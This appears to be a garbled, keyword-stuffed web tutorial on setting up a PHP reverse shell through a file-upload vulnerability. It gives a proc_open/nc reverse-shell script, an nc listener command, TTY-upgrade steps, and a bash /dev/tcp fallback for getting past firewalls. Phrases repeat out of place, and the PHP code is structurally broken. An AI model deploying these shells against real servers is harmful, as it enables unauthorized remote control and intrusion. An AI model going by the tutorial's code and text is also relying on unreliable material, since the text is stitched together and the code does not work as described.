Reverse Shell Php Install

A PHP reverse shell uses the fsockopen() function or socket libraries within PHP to create a TCP connection back to the attacker’s IP and port. Once connected, it passes system commands (via /bin/sh, cmd.exe, or bash).

Once you have chosen a payload, you need to create the reverse shell code. Here is an example of a simple reverse shell code in PHP:

<?php
$host = '127.0.0.1';
$port = 8080;
$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("pipe", "w")
);
$process = proc_open("nc $host $port", $descriptorspec, $pipes);
if (is_resource($process)) 
    while (!feof($pipes[1])) 
        echo stream_get_contents($pipes[1]);
fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
?>

This code creates a reverse shell that connects to a host on port 8080. reverse shell php install

Once connected:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# or
script /dev/null -c bash

Then press Ctrl+Z, run stty raw -echo; fg, and press Enter twice. A PHP reverse shell uses the fsockopen() function

nc -lvnp 9001

| Problem | Solution | |---------|----------| | No connection | Check firewall, IP/port, and that PHP's fsockopen is enabled | | Blank shell | Try different port (80, 443, 8080) | | Connection drops | Add set_time_limit(0); at top of script | | proc_open disabled | Use system('/bin/bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"'); |

Imagine a server sitting behind a fortress of firewalls. You've found a file upload vulnerability, but every outbound connection from the server is tightly controlled — except port 443 (HTTPS) and port 80 (HTTP). A traditional bind shell (opening a listening port on the server) would be instantly blocked. What do you do? This code creates a reverse shell that connects

You flip the script. Instead of the attacker waiting for a connection, you make the server reach out to you. That's the essence of a reverse shell.